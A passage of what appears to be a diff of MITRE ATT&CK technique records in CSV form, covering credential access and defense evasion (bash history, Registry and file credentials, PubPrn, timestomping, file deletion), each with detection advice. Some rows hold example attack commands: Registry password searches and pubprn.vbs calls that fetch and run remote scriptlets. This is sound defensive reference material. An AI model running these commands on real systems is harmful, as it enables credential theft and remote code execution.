Command Execution']",,,,,Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.,,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-04 13:02:11.685000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the ""history"" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/003', external_id='T1552.003'), ExternalReference(source_name='External to DA, the OS X Way', description='Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', url='http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way')]",attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-02-07 20:48:49.878000+00:00,Bash History,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution']",,,,,"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history.",,,,,True,,,['User'],"['Linux', 'macOS']",,,,1.0 -2020-02-04 12:58:40.678000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. +Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/004', 'external_id': 'T1552.004'}, {'source_name': 'Wikipedia Public Key Crypto', 'description': 'Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Public-key_cryptography'}, {'source_name': 'Kaspersky Careto', 'description': 'Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.', 'url': 'https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf'}, {'source_name': 'Palo Alto Prince of Persia', 'description': 'Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']","['File: File Access', 'Command: Command Execution']",,Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.,True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T13:02:11.685Z,2020-02-07T20:48:49.878Z,Bash History,"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the ""history"" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/003', 'external_id': 'T1552.003'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history.",True,['User'],"['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:58:40.678Z,2020-02-07T20:49:18.834Z,Credentials in Registry,"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s -* Current User Hive: reg query HKCU /f password /t REG_SZ /s","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/002', external_id='T1552.002'), ExternalReference(source_name='Pentestlab Stored Credentials', description='netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.', url='https://pentestlab.blog/2017/04/19/stored-credentials/')]",attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-02-07 20:49:18.834000+00:00,Credentials in Registry,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Sudhanshu Chauhan, @Sudhanshu_C']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']",,,,,"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",,,,,True,,,"['Administrator', 'User']",['Windows'],,"[""Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.""]",,1.0 -2020-02-04 12:52:13.006000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. +* Current User Hive: reg query HKCU /f password /t REG_SZ /s","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/002', 'external_id': 'T1552.002'}, {'source_name': 'Pentestlab Stored Credentials', 'description': 'netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.', 'url': 'https://pentestlab.blog/2017/04/19/stored-credentials/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Sudhanshu Chauhan, @Sudhanshu_C']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']",,"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",True,"['Administrator', 'User']",['Windows'],1.0,,"[""Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.""]",,,,, +attack-pattern,attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:52:13.006Z,2021-04-12T18:32:32.803Z,Credentials In Files,"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) -In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/001', external_id='T1552.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/639.html', external_id='CAPEC-639'), ExternalReference(source_name='CG 2014', description='CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.', url='http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html'), ExternalReference(source_name='SRD GPP', description='Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.', url='http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx'), ExternalReference(source_name='Unit 42 Hildegard Malware', description='Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', url='https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'), ExternalReference(source_name='Unit 42 Unsecured Docker Daemons', description=""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", url='https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'), ExternalReference(source_name='Specter Ops - Cloud Credential Storage', description='Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', url='https://posts.specterops.io/head-in-the-clouds-bd038bb69e48')]",attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-12 18:32:32.803000+00:00,Credentials In Files,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Rory McCune, Aqua Security', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Command: Command Execution']",,,,,"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",,,,,True,,,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,['Access to files'],,1.1 -2020-02-04 12:47:23.631000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552', external_id='T1552')]",attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-12 18:32:33.620000+00:00,Unsecured Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'File: File Access', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Access']",,,,,"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. +In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/001', 'external_id': 'T1552.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html', 'external_id': 'CAPEC-639'}, {'source_name': 'CG 2014', 'description': 'CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.', 'url': 'http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html'}, {'source_name': 'SRD GPP', 'description': 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.', 'url': 'http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'}, {'source_name': 'Specter Ops - Cloud Credential Storage', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rory McCune, Aqua Security', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Command: Command Execution']",,"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",True,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",1.1,,['Access to files'],,,,, +attack-pattern,attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:47:23.631Z,2021-04-12T18:32:33.620Z,Unsecured Credentials,"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552', 'external_id': 'T1552'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Access']",,"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history. -Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.2 -2020-02-03 16:49:57.788000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts. +Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-03T16:49:57.788Z,2021-09-01T00:57:01.161Z,PubPrn,"Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn) -PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1216/001', external_id='T1216.001'), ExternalReference(source_name='Enigma0x3 PubPrn Bypass', description='Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', url='https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/')]",attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-08 23:36:30.648000+00:00,PubPrn,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']",,,,,"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-31 12:42:44.103000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. +Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. -Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/006', external_id='T1070.006'), ExternalReference(source_name='WindowsIR Anti-Forensic Techniques', description='Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.', url='http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html')]",attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 21:39:46.724000+00:00,Timestomp,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Romain Dumont, ESET']","['File: File Modification', 'File: File Metadata']",['Host forensic analysis'],,,,Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.,,,,,True,,,"['root', 'SYSTEM', 'User']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-01-31 12:39:18.816000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use),"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/005', external_id='T1070.005'), ExternalReference(source_name='Technet Net Use', description='Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.', url='https://technet.microsoft.com/bb490717.aspx')]",attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-02-09 13:31:01.970000+00:00,Network Share Connection Removal,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Host forensic analysis'],,,,"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",,,,,True,,,"['Administrator', 'User']",['Windows'],,['Established network share connection to a remote system. Level of access depends on permissions of the account used.'],,1.0 -2020-01-31 12:35:36.479000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. +In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1216/001', 'external_id': 'T1216.001'}, {'source_name': 'pubprn', 'description': 'Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn'}, {'source_name': 'Enigma0x3 PubPrn Bypass', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Atul Nair, Qualys']","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']","['Digital Certificate Validation', 'Application Control']","Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:42:44.103Z,2020-03-29T21:39:46.724Z,Timestomp,"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. -There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/004', external_id='T1070.004'), ExternalReference(source_name='Trend Micro APT Attack Tools', description='Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', url='http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/')]",attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 21:34:16.209000+00:00,File Deletion,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Walker Johnson'],"['File: File Deletion', 'Command: Command Execution']",['Host forensic analysis'],,,,"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-01-31 12:32:08.228000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. +Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/006', 'external_id': 'T1070.006'}, {'source_name': 'WindowsIR Anti-Forensic Techniques', 'description': 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.', 'url': 'http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Romain Dumont, ESET']","['File: File Modification', 'File: File Metadata']",['Host forensic analysis'],Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.,True,"['root', 'SYSTEM', 'User']","['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:39:18.816Z,2021-02-09T13:31:01.970Z,Network Share Connection Removal,Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use),"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/005', 'external_id': 'T1070.005'}, {'source_name': 'Technet Net Use', 'description': 'Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.', 'url': 'https://technet.microsoft.com/bb490717.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Host forensic analysis'],"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",True,"['Administrator', 'User']",['Windows'],1.0,,['Established network share connection to a remote system. Level of access depends on permissions of the account used.'],,,,, +attack-pattern,attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:35:36.479Z,2020-03-29T21:34:16.209Z,File Deletion,"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may 